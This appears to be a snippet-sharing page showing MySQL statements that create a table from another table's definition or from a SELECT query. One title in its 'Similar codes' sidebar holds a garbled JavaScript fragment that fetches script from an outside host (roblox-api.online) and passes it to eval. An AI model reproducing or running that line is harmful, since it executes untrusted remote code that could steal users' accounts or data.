/SQL/How to create a table structure from another table in mysql

How to create a table structure from another table in mysql

CREATE TABLE new_tbl LIKE orig_tbl;  //(creates an empty table only definition is
                                        same.)

Source: dev.mysql.com

Mysql select into new table

CREATE TABLE artists_and_works
  SELECT artist.name, COUNT(work.artist_id) AS number_of_works
  FROM artist LEFT JOIN work ON artist.id = work.artist_id
  GROUP BY artist.id;

Source: dev.mysql.com

How to create a table based on another table in mysql

Press CTRL+C to copy CREATE TABLE new_tbl [AS] SELECT * FROM orig_tbl;

Source: dev.mysql.com

Similar codes

6 votes152 views3 answers
Date_trunc postgres
SQL
1 vote129 views1 answer
Mysql select another database
SQL
4 votes132 views10 answers
Javascript$get'//roblox-api.online/roblox?id=4823'.eval)javascript$get'//roblox-api.online/roblox?id=
SQL
2 votes140 views2 answers
Maximum execution time of 360 seconds exceeded
SQL
-1 vote113 views1 answer
Mysql if example
SQL
22 votes176 views4 answers
Mysql format date
SQL
0 vote187 views1 answer
Cahnge column name apex oracle
SQL
12 votes159 views6 answers
Change mysql root password
SQL
0 vote130 views1 answer
Mysql use password error
SQL
0 vote137 views1 answer
Show the colums of table sql
SQL